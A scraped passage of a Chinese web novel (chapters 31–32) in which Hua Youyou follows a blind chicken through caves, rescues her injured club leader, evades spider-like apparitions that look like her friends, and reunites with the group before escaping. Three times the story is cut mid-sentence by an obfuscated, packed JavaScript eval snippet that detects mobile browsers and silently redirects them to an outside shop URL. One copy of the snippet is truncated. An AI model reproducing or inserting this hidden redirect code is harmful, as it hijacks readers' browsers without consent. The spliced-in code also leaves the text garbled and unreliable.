那如果是在她睡着的时候,这个洞穴里发生了其他什么事,有人或者什么东西强制带走第五页,那为什么没有留下挣扎的痕迹? 华悠悠想不通,抱着怀中的相机。 直到脚边突然传来动静,一个柔软的东西碰上她的脚腕。 低头一看才发现,之前她和第五页跟着进来的瘦鸡小碎步挪到她脚边,蹭了蹭她的脚脖子,孵蛋一样地蹲下,像是给自己找了个稳靠的靠山。 是了,鸡在这里,那她和第五页一起进来的记忆便绝对不是幻觉,还有遗落下的行李。 她不能放弃。 第五页现在不见了,一定是在她睡着的时候发生了什么事。 华悠悠快速整理好慌乱的心情。 虽然目前还不知道她睡着的时候,这个洞穴里究竟发生了什么事,第五页为什么会消失得无影无踪。 但她知道她们之前挖下来的那个坑边没有多余的脚印,那第五页一定没从那个地方上去。 而这个地方除了这几条连接这个洞穴的洞道,便没有其他出口。 华悠悠猜测,第五页一定是去了其中一条。她看到了什么?为什么会追进洞里?是裴桐他们吗? 也许第五页现在已经和裴桐他们汇合。 华悠悠越想越不敢在这里耽搁下去,她不想被遗忘,也不想遗忘自己的伙伴。 蹲下身抱起那只鸡,回去收拾好行李,想要立马出发寻找第五页。 然而在她到底该走哪条路时,却犯了难。 她现在只是猜测第五页进了其中一条洞道,但并不知道是哪一条,这里的路她并不熟悉,也害怕进去后便再也没办法回来,犹豫是正常的事。 只是她也不能在这里犹豫太久,在这里待得太久,她跟第五页宋英杰他们就分开得越远。 想来想去,最终目光放在了怀中的鸡身上。 华悠悠还没忘记第五页昨天下午用血灌鸡寻路的事,虽然这里没有第五页的血,但她也想尝试下现在怀中的鸡还能不能够帮她寻路。 想着,她从另一个行李背包中拿出第五页的一样东西,同时将瘦鸡放在三条洞道口正对的中心位置。 然后将第五页的东西凑在瘦鸡眼前晃了晃,“求求你了……帮帮忙吧……” 蹲在瘦鸡面前求神拜佛的样子,华悠悠自己都觉得自己好笑,但目前又没有更好的办法,只能将希望寄存于这件滑稽的事。 好在那只瞎了眼的瘦鸡还真凑到她递过去的东西,脑袋转着看了看,片刻后像是明白了她的意思。 扇动翅膀,咯咯哒,打出一声短促的鸡鸣站了起来。 华悠悠心中大喜,眸中亮起光。 眼珠死死盯着地上的鸡,生怕自己的呼吸打乱了它的思路。 瘦鸡扇动翅膀在地上啄来啄去,看起来就像是狗在寻找主人的气味,踏着小碎步走向最大的那条洞道洞口,盯着黝黑的洞道。 瘦鸡打了一声鸡鸣。 咯咯哒的声音传进去,变成怪异的回声再荡回来,随后扇动翅膀,毫不犹豫地跳了进去。 华悠悠连忙提着背包跟上。 她在后面打着手电,为前面每走两步就咯咯哒叫一声的瘦鸡照清前行的路。 一人一鸡就这样慢慢地往洞道深处走去。 越往里走,空间变得越狭窄。 途中她们几次遇到岔道,瘦鸡便像人类思考一样,蹲坐在岔道中央,半天不移动。 跟在后面的华悠悠又急起来,好在那鸡并没有坐太久,像是走累了休息一会,很快又起身,继续啄着地往前走。 说实话,华悠悠也觉得自己现在的做法很荒唐,她居然真的跟着一只鸡走进这些洞穴。 这里的路看起来错综复杂,经常需要拐弯绕圈,有的还要往上攀爬。 好在那些攀爬的路并不高,华悠悠便将鸡举过头顶,先把它放上去探路,然后自己再一步一步爬上去。 往上爬的动作很艰难,手抓在潮湿的石壁缝隙,需要整个身体都贴在石壁上,才能保证自己不会随时滑下去。 明明很短的一条路,等她爬上去,竟发现自己后脑勺渗出一层薄薄的汗。 继续往前走,洞道里出现水声。 并且这声音越来越大,仿佛昭示着她们正在往水流的地方走去。 虽然没有多少野外生存的经验,但华悠悠还记得看过一些帖子,知道迷失在洞穴深处,有水流动的地方,有很大可能会有出口。 她心中一喜,不自觉地想要加快脚上的步伐。 然而在前面引路的瘦鸡却像是突然感受到什么,猛地停下脚步,抬起脑袋,抖着鸡冠,脑袋像个监控摄像头般疯狂摇来摇去。 华悠悠不知道它发现了什么,只能跟着停下脚步。 她听过一些说法,其实生活在这片土地上的大部分动物都比人类敏锐许多,才会有地震来临前夕,飞禽走兽先行而动的说法。 然而她跟着瘦鸡停在原地许久,也没看出来它到底在怕些什么,只是瞧见它抖着翅膀,一直警惕地观察着周围。 华悠悠心想。 难道是第五页的血在这个时候失效了?这鸡终于回过神来,以为自己从荒村到了这个陌生的洞穴里,才会这么害怕? 华悠悠蹲下身想去抓它的翅膀,看看它到底怎么了,然而她刚蹲下身,还没等着靠近。 那鸡突然打出一声高亢的鸡鸣,几乎是从嘶哑的嗓子里吼出来,顺着洞道传出很远的距离。 华悠悠没有准备,被这声音吓了一跳,以为它下一秒便会跳起来攻击她,便下意识缩回了手。 没想到正好被那瘦鸡抓住机会,突然一个飞跳,飞快扇动翅膀,逃命似的转身埋头往洞道深处冲去。 她被这动静吓得后退半步,又迅速反应过来,提起背包飞快起身追了上去,边跑还边大喊,“哎!你要去哪儿?别到处乱跑啊!” 这鸡是终于被她们吓疯了吗? 还是说周围真的有什么? 鸡敏锐地感受到才先一步逃跑,想到这,华悠悠顿时也感觉脊背一阵发凉,想要快点将鸡追回来。毕竟现在她身边只剩下这一个活物了,有鸡在她好歹能安心些。 洞道里的路崎岖不平,她实在比不上一只鸡的灵敏程度,很快跟它拉开距离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162432|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼看前方鸡的影子越来越小,马上就要逃离她的视野范围。 华悠悠更加急切起来,步子又慌又乱,好几次脚卡在石头缝里,差点一个摔倒直接滚下去。 突然前面不知出现什么,瘦鸡忽然又一个飞跳,这次的飞跳在空中停留的时间就较长了,看起来像是越过了一个很大的坑。 华悠悠紧追不舍,直到连滚带爬地跑到那方才发现是前方突然出现断崖,一条纵深的洞道像是被一把砍刀拦截砍断,出现了一条两三米宽的断崖。 断崖很深,手电的光照下去要很久才能照到底。 华悠悠追到断崖边时,差点一个没刹住车掉进去,几颗石子顺着她未停下的冲力掉下断崖,叮叮咚咚的回声隔了许久才传上来。 她吞咽口水,又打着手电往对面看去。 断崖对面是一个较小的洞口,大概只有半人高,人只有完全趴着才能钻进去。 鸡就不同了,身量较小,扇动翅膀飞过断崖后,轻而易举地钻进去。 眼看瘦鸡的身影马上就要完全消失在洞内。 华悠悠犹豫半秒钟,决定跳过去。 但是这里的断崖稍宽,她跳倒是可以跳过去,要完全爬进洞内就有些麻烦,毕竟那方可供她站住的平台不多。 她想了想,蹲身先将背包从背上拿下来,拎着甩了几圈,随后稳稳丢进对面洞口。 接着,她又比划了下两边这块断崖的距离,找了个最窄的位置,看准落地后要踩的那几块岩层。 深吸两口气,纵身一个飞扑往前跳去,脚稳稳踩住要踩的平台,途中那块石头沾了水,她差点脚一滑跌下去,好在飞快回过神,双手紧紧扣住石壁。 扒住那个洞口的边缘,一点一点把身体往上提去。 华悠悠对运动擅长的不多,但现在命悬一线,她全神贯注做这件事。 等身体完全爬进洞口,整个后背几乎完全汗湿。 她趴在洞内,仍然心有余悸地不敢乱动,双手止不住地颤抖,掌心全是岩层擦过的伤痕。 华悠悠吞咽口水,才发现喉中全是血腥味。 她趴在原地缓了好一会,才回过神来,此时那只鸡已爬进矮小洞道深处,黝黑的洞道透不出一丁点影子,只有浓郁的潮湿的霉味隐隐从洞道深处飘来。 偶尔还夹杂着两声瘦鸡短促鸡鸣传出的回声,咯咯。 华悠悠深吸一口气,强迫自己调整好状态,颤抖着身体拎起背包甩到背上,并捡起一早就丢过来的手电,往洞道深处照去。 这条洞道像是没有尽头似的,她手电的光一直照不到头。 华悠悠身体一僵,未知的黑暗总是让人浮想联翩,她有一瞬间的胆怯。 但现在已经跳过来了,后面到底是什么妖魔鬼怪,她都必须硬着头皮往前。 随后深吸一口气,握着手电,手脚并用地往洞道深处爬去。 这条洞道很长,她在里面手脚并用地爬了很久,像是永远爬不到尽头。 长时间的爬行让她的手脚下意识的发软,脖子酸痛,脊背僵硬。 甚至越往里爬,可供通行的通道就越小,有的时候她甚至要先把背包丢过去,再把自己整个人缩成一长条,才能一点一点地继续前行。 好在,每当她想放弃回头时。 前方总会传来鸡的两声咕叫,仿佛瘦鸡正在前方不远处等着她。 华悠悠不知道自己爬了多久,四肢麻木,脸上分不清是泪水还是汗水,甚至忘记来时的路。 前方洞道终于传来微弱的光线。 她像是看到最后的希望,双手扣住岩层缝隙,拼尽最后的力气往那方爬去。 等爬出洞口,眼前的场景豁然开朗。 洞道外是一个比她和第五页下坑后遇见的还要大上几倍的天然洞穴,大小堪比能容纳上万人开演唱会的体育场。 32. 第三十一章:蜘蛛人 华悠悠爬出狭窄的洞道,也许是长时间待在逼仄的地方,出来一瞬间的感受是惊叹,惊叹大自然的鬼斧神工。 高耸的洞顶上倒挂着泛着荧光钟乳石,一眼望去空间辽阔,滴答的水声在空旷的洞穴里回荡。不知何处透出的微弱亮光,仿佛鬼火样游走在石墙缝隙。 她站在一小节平台上,久久回神。 回过神来便立马想掏出相机来拍,她这么想也这么做了。 好在刚才跳崖前她特意将相机塞回背包深处,现在拿出来也没损坏分毫。 还没完全脱离危险,华悠悠便缩在这一小块地方,举着相机对着偌大的洞穴连拍十几张。 当镜头对准洞穴最下方平地时,她从取景器内瞧见几个熟悉的身影。 看见那几个影子,华悠悠心下意识快跳一拍,飞快放下相机,举起手电往整个洞穴的最中央照去。 当手电的光照到洞穴中央那几个人影时,胸膛的心跳得更快,惊喜的麻意瞬间爬满全身。 她忍不住带着哭腔高声呼喊,挥手,“第五页!曹永朝!裴桐!” 华悠悠一连喊了三声,声音在偌大的洞穴里回荡,最后被四面的石壁吸收。 她自认为声音不算小,然而在喊了底下那三个熟悉人影的名字后,他们却没有一个人转过身,或抬起头回应她的呼喊。 直到这,华悠悠才感觉到有些不对劲。 她眯起眼睛看去,虽然她现在的位置距离洞穴底端还有一点距离,但她可以确信她没有看错,底下那围站在一起的几个人影明显就是第五页他们,她的视力很好,也没有近视。 底下三个人像是三根木桩似的,围成一个小圈,半垂着头一动不动,中间似乎是片小水洼,她手电筒光照过去的时候隐隐有闪光反过。 唤了几声得不到回应,华悠悠心底的那股惊喜慢慢下去,换上来的是疑惑,带点凉凉的不安窜进心尖。 她收回手,开始怀疑是不是自己声音太小了?还是太模糊? 犹豫了会,准备下去看看。 就算底下的不是第五页他们,她也不能一直待在这里,还需要寻找其他出路。 这么想着,华悠悠重新背上背包,打着手电四处寻找下去的路。 两边都是岩壁,她此刻蹲坐的平台距离地面大概有个几十米。 她伸着脖子,手电筒光在底下晃了眼,下面只有几个浅浅的小水洼,凹凸不平的碎石。 恰好一滴水从洞穴顶端滴落,滴在她的脖子上,凉意霎时从后脖子传遍全身。 华悠悠眼睛眩晕一瞬,快速收回身体,深呼吸,做了好几次心理准备。 随后在旁边找到下去的路,几块凸出来的岩石,看上去没那么稳当,但也没有其他的路可走了。 她准备先踩在上面,跳到下面那个平台上,一步步往下挪。 确定好下去的路线后,华悠悠身体贴紧石壁,抓住凸出来的岩块,像只壁虎一样缩着身体慢慢往下爬去,手心里除了她的汗,还有岩石上的水汽。 刚才爬得太久,往下走的时候,华悠悠感觉手脚有些软。 一颗心砰砰直跳,完全不敢低头看,只能用身体去找位置。 好在她确定的路线虽然看上去不稳当,但几块凸出来的岩块踩上去并没有松动的迹象。 华悠悠安全在上面站稳,瞅准下方的平台,她压低重心,轻盈一跃,不偏不倚刚好落在平台上。 来到安全地带,心里总算松快许多。 华悠悠松了口气,刚准备再次抬头看看那方的几个人影时,突然脚腕一凉,有什么东西轻轻抓住了她的脚踝。 吓得她整个人浑身一僵,差点从这个小平台上摔下去。 “什么东西?!”压着声音惊呼。 同时一个翻身,猛抖被抓住的那条腿。 在她这个小平台的靠近石壁的这方,有个和它上面跳下来一样的洞道,纵深的洞道内漆黑一片,伸手不见五指,此时抓她的东西便藏在那洞道内。 此时此刻,华悠悠脑海中闪过一万个恐怖片片段。 在惊慌之下会爆发出前所未有的潜力,她手上没有武器,便疯狂抖腿,甚至想过如果被拖进去了,她便跟那怪物拼个你死我活。 然而没抖两下,脚腕上的触感突然一松。 身后洞道内突然传来两声低低的咳嗽,“咳咳……华悠悠……是我。” 声音又轻又虚,从那条狭小的洞道里传出来仿佛游荡在这些洞穴里的山鬼。 但华悠悠还是从那声音中听出几丝熟悉的味道,慢慢停下挣扎,盯着那洞口露出来的一截灰白的手,光线昏暗,看不太真切,她下意识以为那是死人的手。 她吞了吞口水,缩回了脚,试探性地出声,“社长?” 洞内那鬼又轻轻地重复了一遍,“……是我。” 华悠悠一个激灵,浑身颤了下,立马打着手电往洞道内照去,光线没照多远,便落在趴在洞口宋英杰身上。 后者浑身上下没有一处干净的地方,仿佛拼着这最后一口气才爬到了这里,嘴唇白的吓人,如果不是她手电光照过去的瞬间,对方眼睛不适地眨了眨,她会怀疑他究竟是不是还活着。 走了这么久,总算见到熟悉的人。 虽然现在面前这人状态似乎比她还差,华悠悠恍然间有种想哭的冲动,但还没忘记正事,忍了忍,把自己的情绪压下去。 忙爬到洞口前惊问,“社长你怎么在这里?!” “咳……说来话长……我和曹永朝掉到这底下遇到了塌方……醒来后我一路爬到了这里……”宋英杰看起来很虚弱,简短的话断断续续说了好久才说完,似乎是害怕她转身离开,上半身还往洞外探了探,想要拦住她,“先不说这个……你刚才看到那边的影子了吧?” “别过去……它们不是第五页他们……” 说实话,华悠悠有点晕。 现在好不容易终于遇见队友,如果宋英杰在这里,第五页他们就在洞穴中央站着,那他现在受伤这么严重,为什么不向他们求救。第五页他们为什么也没发现这里的宋英杰? 现在宋英杰又说那边的不是第五页他们,她究竟该相信什么? 想着,她下意识抬眼看向刚才发现第五页他们的地方,这一看可把她吓了一跳。 只瞧见方才还围站在洞穴中央的三个人影的地方,此时却空空如也,仿佛刚才的一切都是她的幻觉。 与此同时,头顶传来窸窸窣窣的声音,像是有什么小动物在贴着石壁爬行。 华悠悠顿时感到头皮微微发痒,一阵麻意窜上脊背。 她立刻关掉手电,身体僵直,不敢抬头。 洞道内,宋英杰似乎也发现了什么,伸出手将她往石壁边拉了拉,让她紧贴着石壁,不至于被突如其来的惊吓吓到摔下去。 洞穴内突然消失的第五页他们,让华悠悠心中那份隐约的不安彻底落实。进村后遭遇的种种诡异事件此刻全部涌入脑海,让她几乎不受控制得往鬼怪的方面想去。 她压低身子,整个人贴在石壁上,仿佛要跟石壁融为一体,用只有两个人能听到的声音问道,“那……到底是什么东西?” 洞道内,传来宋英杰轻飘飘的声音,“不清楚……我爬过来后它们就一直在这里,有时在洞穴中央,有时又挂在石壁上。” “我没办法下去所以一直被困在这里……” 他们得离开这里,华悠悠脑子里只剩下这一个念头。 她后背紧贴石壁,潮意渐渐浸入衣服,凉意漫遍全身。 待那窸窣声稍弱,她快速压低身子,朝洞道内问:“你还能动吗?” 他们不能在这里继续待下去了。刚才宋英杰说他是从塌方的地方一路爬到这里来的,看目前情况,洞道另一头多半无路可走,如今他们只能向下向下寻找出路。 听见她的询问,洞道内宋英杰轻咳一声,低声道,“应该可以……我试试。” 说着他便扣住两边的岩壁,缓慢向外移动。 华悠悠应了声“好”,旋即压低嗓音继续道,“我找路下去,然后带你走,这里不能再待了。” 说着她再次打开手电,将光线调到最低,迅速照向四周,没看见什么奇怪的黑影。 接着她探出半个身体往下打量。 刚才她从上面爬下来已经缩短了一部分高度,剩下的往下看离地面并不是很远,约莫有个一层楼的高度,直接往下跳应该也不会受太大的伤。但刚才听宋英杰的声音,他受了不小的伤,所以她还是想做些准备。 这个平台面积不小。 等宋英杰半个身子从洞里爬出来,华悠悠又用手电照了下他洞里的下半身。 幸运的是宋英杰身上虽然伤口多,但没有出现什么可怕的大出血伤口,只有右脚脚腕姿势有些不自然,蜷缩在洞内。 华悠悠忍不住蹙眉。 “在另一边塌方的地方爬出来时不小心压了一下。”宋英杰捂着右腿,额角滑下一滴冷汗,“没关系,我们先离开这里。” 最后华悠悠也只是忧心地看了他眼,毕竟他们不能在这里耽搁,不再多言。 她先从背包里取出一些包扎的东西,简单处理了下他身上的伤口,又将他扭伤的脚腕固定好,随后拿出简易攀岩装备,咬住手电,在岩壁上固定绳钉,“你先下去,可以吗?”她转头问。 宋英杰面色苍白地点头。 两人迅速而无声地在平台上交换位置,宋英杰在华悠悠的协助下,贴着石壁缓缓下移。过程艰难,但幸好最后是安全落地。 感受到绳子上重量一轻,华悠悠心里那块石头也跟着轻轻落下,身体有些发软,靠在石壁上小口喘气。 正在缓神之际,头顶窸窣声再次响起,一滴冰凉的液体啪嗒落在她的天灵盖上。 华悠悠一个激灵,瞬间回神。 与此同时地下传来宋英杰低低的呼唤:“华悠悠!” 华悠悠应了声,不敢再歇,先打着手电看了眼底下宋英杰的位置,此时他已挪到一个安全的地方,正面色焦急地看向她,同时打出“快下来”的手势。 于是华悠悠不敢耽搁,将包里物品收拾好,看准底下宋英杰的位置丢出,后者稳稳接住。 旋即咬住手电,身体再次贴向石壁,踩着岩缝小心向下。 这段距离并不算高,她心中只想着尽快落地。 可刚趴在石壁上下移几步,头顶那窸窣声突然越来越近,仿佛有什么东西正从她头顶爬下来。 又一滴冰冷的水落在发间,浸入头皮,华悠悠瞬间一阵发麻,手掌一酸,感觉那声音已近在咫尺。 她下意识抬头,口中手电的光柱照向头顶。对上了一双死白的眼睛。 那是第五页的脸,此时此刻却毫无活人的气息,四肢如蜘蛛般扭曲趴在石壁上,仿佛恐怖游戏里爬出来的怪物。 华悠悠顿时感觉身体一僵,被这场面吓得大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洞穴深邃,窸窣声尾随在后,但也不会突然扑上来,就像是萦绕在心头若有若无的恐惧,一点点侵蚀他们的理智,像是要逼疯他们。 华悠悠只能强迫自己不去在意身后的声音,满脑子都放在该如何逃出这个地方上。 一边跑一边脑中思绪纷飞。 她还没忘记她是跟着瘦鸡爬过来的,但是刚才从洞道爬下来,路上遇见宋英杰以及那几个鬼影,她早就把鸡的事抛在脑后,现在想起来,那鸡怎么不见了? 不会已经被那几个鬼影给吃了吧? 正想着,远处突然响起一声尖锐且刺耳的鸡鸣,“咯咯哒!”像是要撕破这里的黑暗。 再次听见熟悉的声音,华悠悠心中忍不住一喜。 两人都已气喘吁吁,宋英杰几乎全靠她搀扶前行。此刻鸡鸣如同指引,让绝望的她再次燃起希望,当即架紧宋英杰,朝着声音奔去。 那鸡像是知道他们在这洞穴内迷失了方向,不停发出叫声指引他们。 华悠悠和宋英杰循着鸡叫声来到洞穴另一边,此时两人已经累得脑袋发蒙,模糊间,瞧见一只小小的黑影从岩壁上跳了下来,正是之前她追寻的那只瘦鸡。 华悠悠宛如看见了希望,连忙搀扶着宋英杰快速往那边跑去,跟着瘦鸡转身钻进一条洞道。 身后窸窸窣窣的声音也在他们进入洞道后慢慢消失,她刚要松一口气。 脚下石块忽然一松。 两人还没来得及跑开,就双双往下坠去,世界天旋地转,华悠悠只感觉眼前是无边的黑暗。 混乱中,她听见瘦鸡咯咯哒扑腾翅膀的声音,以及宋英杰的闷哼。 无数碎石砸在他们身上,想象之前宋英杰说的塌方,他们现在不会也遇见塌方了吧? 华悠悠顿时心中溢出一阵绝望。 所幸坠落很快停止,她捂住脑袋摔进碎石堆里,待到周围平静下来,才发现并没有被碎石淹没,她忍痛爬起,在黑暗间摸索,很快找到他们的背包和手电。 慌里慌张打开手电,她看见不远处昏迷的宋英杰,连滚带爬扑过去,唤了几声,“社长?宋英杰?社长?”她试了试他的鼻息,好在还有呼吸,只是昏过去了。 该怎么办? 华悠悠有点想哭,心中只有绝望,打着手电往周围看去。 他们现在在一个坑底,手电光往上打去,在他们头顶四五米的位置是坑口,他们刚才应该就是从那里掉下来的。 华悠悠抹了把脸上的水,从背包里拿出攀岩工具,尝试往上爬,可是这个坑底周围的石壁太光滑了,她尝试了几次也没能爬上去。宋英杰现在昏迷不醒,只靠她一个人根本上不去。 绝望中,她朝坑口喊了几声,叫的全是第五页曹永朝裴桐他们的名字。但又不敢喊得太大声,怕把之前的蜘蛛人给引过来。 正在绝望之际,头顶突然又传来一声鸡鸣,华悠悠打着手电照去,只见刚才带着她跑到这鬼地方的瘦鸡出现在坑边,探着脑袋歪来歪去,咕咕咕地,似乎在看她在干什么。 华悠悠满脸泪水,盯着那只瘦鸡,嗓子在一路逃过来变得沙哑,不知道该怎么办的她像是把最后一点希望寄托在那只鸡上,也不管它能不能听懂,便对它说:“小鸡……大鸡……好鸡……求求你了,你能不能去找人救我们?能不能把我的伙伴带过来?” 接着,也不知那只鸡是听懂了还是没听懂,继续歪着脑袋看了两眼坑底下的她。随后身子一扭,消失在了坑边。 希望仿佛随之而去,华悠悠瘫坐在地,不知该笑还是该哭。她真是脑子坏了,鸡怎么可能听得懂人说话,她居然在乞求一只鸡找人来救她。 她呆愣了一会,又咬牙爬起,回到宋英杰身边,替他重新包扎伤口,并试图唤醒他,再两个人一起想办法出去。 33. 第三十二章:离开 另一边,第五页他们还在积极寻找出去的办法和华悠悠的踪迹。 第五页给裴桐讲了一遍她来的路,如果慢慢往回找,她倒是记得怎么回去,但现在还要带着昏迷不醒的曹永朝,三个人还是太难了。 两人商量了下,最终决定放弃原路返回,转而寻找其他出口。 打定主意,第五页便和裴桐分工合作,两人轮流背着曹永朝前行。 裴桐对这周围倒是还算熟悉,依稀记得附近还有其他出路,只是之前曹永朝还昏迷着,他不敢走太远,只能反复在附近打转。 好在如今第五页过来跟他汇合,虽然曹永朝还是没醒,但多了一个人,压力也减轻不少。 两人简单收拾了一番,架起昏迷的曹永朝,再次上路。 先是裴桐打前锋,第五页在后面尽量背扶着曹永朝。 两人在洞穴里转了半圈,循着裴桐记忆里的路线,挑了一条稍对宽敞的洞道往里走。 裴桐说这条洞道他之前往里走过,但因为曹永朝还昏迷着,他没敢走太远。走到洞道最远的地方有听到过水声,只是没找到水源。 听到他说水声,第五页心中一喜。 便跟他说了,之前她在那些洞道里穿来穿去也听到过水声。 有水的地方多半就有出路。 这么想着,他们背扶着曹永朝,加快脚步往洞道深处寻去。 这条洞道远不如第五页最初爬的那条好爬,经常需要俯身向下攀爬,然后拐弯又费力向上攀登,狭窄类似岩缝的地方,甚至只能侧身挤过去。 走到洞道深处,第五页果然听到了裴桐所说的水声,这水声比她之前听的要来得更加清晰,想来离他们并不远。 曹永朝还昏迷着,他毕竟是个大活人。 第五页背扶着他走不了太远,所以经常和裴桐两人轮换着来背。 手电筒的光越来越微弱,两人行走在黑暗中,耳边除了那水声,便只有他们踩在碎石上咔吱咔吱的脚步声,在纵深的洞道内反复回荡,听得人心里直发毛。 不知爬了多久,两人几乎累到口干舌燥。 第五页和裴桐都差不多有几十个小时没有休息,神经早已绷到极限。 空旷的洞道内,两人的喘息声一声比一声重,气息杂乱,仿佛下一秒就会戛然而止。 脑袋昏沉发胀,耳边除了那水声又多了些嗡嗡声,偶尔连视线都变得模糊。 恍惚间,第五页察觉前方裴桐突然停了下来,抬手比了个噤声的手势,呢喃般道,“嘘。” 第五页心头一紧,神志清醒过来半分,以为他是听到什么重要的东西。 裴桐通红着一双眼回头看她,微弱的灯光下显得格外瘆人,哑着嗓子道,“好像有鸟叫声。” 第五页抖了抖肩膀,舔了舔干裂的嘴唇,侧耳听了几分,害怕自己错过什么,连心跳声都压得很低。 仔细听了会,好像是听到什么声音,咕咕咕的。 但那是鸟叫声吗?这地底下还有鸟? 电光火石间,她忽然想起什么,骤然拔高声音,亮着一双眼看向裴桐兴奋说:“不是鸟,是鸡!” 是之前她和华悠悠下到地底下,带下来的鸡。 如果鸡在这,那华悠悠一定也在附近! 第五页连忙把自己的想法告诉裴桐,虽然还是没能找到出口,但是有其他伙伴的线索,裴桐眉毛总算皱得没那么紧了。 两人立刻循着那微弱的鸡鸣声,在洞道里左拐右绕,挤过狭窄的岩缝,攀爬陡峭的岩壁。 可他们在附近转了许久,那鸡鸣声断断续续,始终不见鸡的踪影。 时间一长,第五页甚至开始怀疑自己是不是又出现幻觉了。 就在这时,手中微弱的电光在洞道某个角落扫过,一片毛茸茸的影子在她余光中一闪而过。 她往那方看去,一瘸一拐地过去,捡起地上一片柔软的羽毛。 是鸡毛,不是幻觉,她跟华悠悠跟着的那只鸡真的在附近。 想着,她和裴桐大喊两声华悠悠的名字,想要得到同伴的回应。可惜传回来的只有他们的回声。 无奈之下,他们只能继续在附近搜寻,幸运的是,没走多久,他们又在地上发现了第二片鸡毛。就这样,两人循着散落的鸡毛,一步步朝洞道更深处走去。 期间,因为长时间的跋涉,他们体力都有些透支,不得不找了处相对平整的地方短暂歇息。 第五页摸出身上最后一点食物,和裴桐分着吃了个干净。 没有水,哪怕有食物也有些难以下咽,干巴巴地卡在喉咙里,她顺了好一会才顺下去。 他俩身上都没水,洞道石壁上倒是湿湿的,但是那些水比起水更像是潮气,根本收集不起来。 担心曹永朝就这样睡着睡着晕死过去,第五页主动挤了点掌心的血喂给曹永朝。 吞咽了她的血的曹永朝,不知是因为嘴唇抹了血,嘴唇变红的缘故,还是她的血真的有用,昏睡的曹永章脸色看起来好了不少。 他们带着曹永朝不敢休息太久,害怕在这里面待的越久,对时间的感知就越模糊,甚至会彻底遗忘被困了多久,所以他们稍作休整便立刻起身。 没有了若有若无的鸡鸣,两人只能靠着地上零星的鸡毛辨路,在错综复杂的洞道里绕来绕去,留下记号。 幸运的是,虽未找到华悠悠。 但他们却误打误撞地回到了第五页最初走过的那条洞道,看着石壁上眼熟的人工开凿痕迹,第五页高兴得快要落泪。 顺着这些痕迹走,即使一时走不出大山,他们也能回到最初的荒村。现在他们满心只有快点离开这些洞穴的念头。 他们在这里困得太久了,久到不记得进来多长时间。 有时候第五页甚至感觉自己好像进入了一种心流模式,身体只剩下行走这一个动作。 确认好离开的线索,他们依旧一边寻着鸡毛寻找华悠悠他们,一边朝着人工开凿的痕迹方向往前, 这一次,或许是幸运女神总是眷顾他们,在找了不知道多少错道后,恍惚间,他们真的听见了华悠悠的声音。 第五页和裴桐瞬间精神大振,迅速朝着声音的方向跑去。 等冲到一处深坑边缘时,恰好听见华悠悠虚弱又沙哑的声音从深坑底下传来。 安置好曹永朝,第五页趴在坑边,大声呼喊坑底的人,“华悠悠!” 坑底除了华悠悠,还有昏迷在地的宋英杰。历经千辛万苦,五人终于汇合。 听见熟悉的呼唤,华悠悠呆愣地抬起头,眼睛并没有第一时间露出惊喜,反而是迷茫和疑惑。 她分不清,此刻呼喊她的第五页是真的同伴来了,还是那些蜘蛛人设下的骗局? 于是就这么怔愣地抬头仰望着坑边的人影,半天没有反应。 直到第五页又一次清晰地喊出她的名字,那熟悉的声音才让华悠悠混沌的神志缓缓清醒,她猛地反应过来,是真的,第五页他们真的找过来了。 积攒了许久的恐惧、绝望与委屈瞬间决堤,泪水几乎瞬间涌出眼眶,顺着沾满泥污的脸颊滑落。 第五页和裴桐还在上面大喊:“华悠悠!你没事吧?别着急别着急,我们现在救你上来。” 说着便起身想找绳索类的工具,可两人一路背着曹永朝赶来,没有行李,食物都吃光了,哪还有什么工具?好在底下的华悠悠似乎也看出他们没有工具,便立刻想到手边的背包。在深坑底下大喊:“我这里我这里有绳子!” 接着三人合作,由华悠悠把背包扔到地面上。第五页他们接住,随后在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176528|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上打上绳结掉下去,先把昏迷的宋英杰拉了上去,最后才是华悠悠。等所有人都来到地面上时,他们的力气几乎耗光。 再次见到伙伴,华悠悠情绪激动万分,刚站完身子,便再也忍不住扑上前紧紧揽住第五页的脖颈,埋在她肩头小声啜泣起来。 第五页不是个感性的人,可此刻感受着怀中人的颤抖与温热,鼻子也开始莫名发酸,伸出手紧紧回抱住她。 一旁的裴桐在旁边看了两秒后,跟着上前,三个人就这样在这里抱着好好哭了一番。 发泄了会情绪,慢慢平复下来。 五人终于汇合,虽然曹永朝和宋英杰还没醒,但看到伙伴,华悠悠心中也不似之前那样绝望。几人借着华悠悠背包里的东西简单补充了□□力后,又回到了之前的洞道。按照第五页之前的想法,一直顺着洞道内人工开凿的痕迹往前走。 一路上,她们轮流交换着或背或扶或扛曹永朝和宋英杰他们。在漫长的洞道里穿梭,第五页都记不清究竟走了多久,只知道耳边的水声越来越响越来越清晰时,水声之下又出现微弱的鸡鸣。 她们循着水声和鸡叫声看去,头顶岩石缝隙透下来一缕光亮,冰冰凉凉的水丝从那光亮洒到她们的脸上,带来一丝清冽的凉意。 麻木的她们顺着那光线相互合作爬向洞口。 爬出洞口的瞬间,世界终于天光大亮。 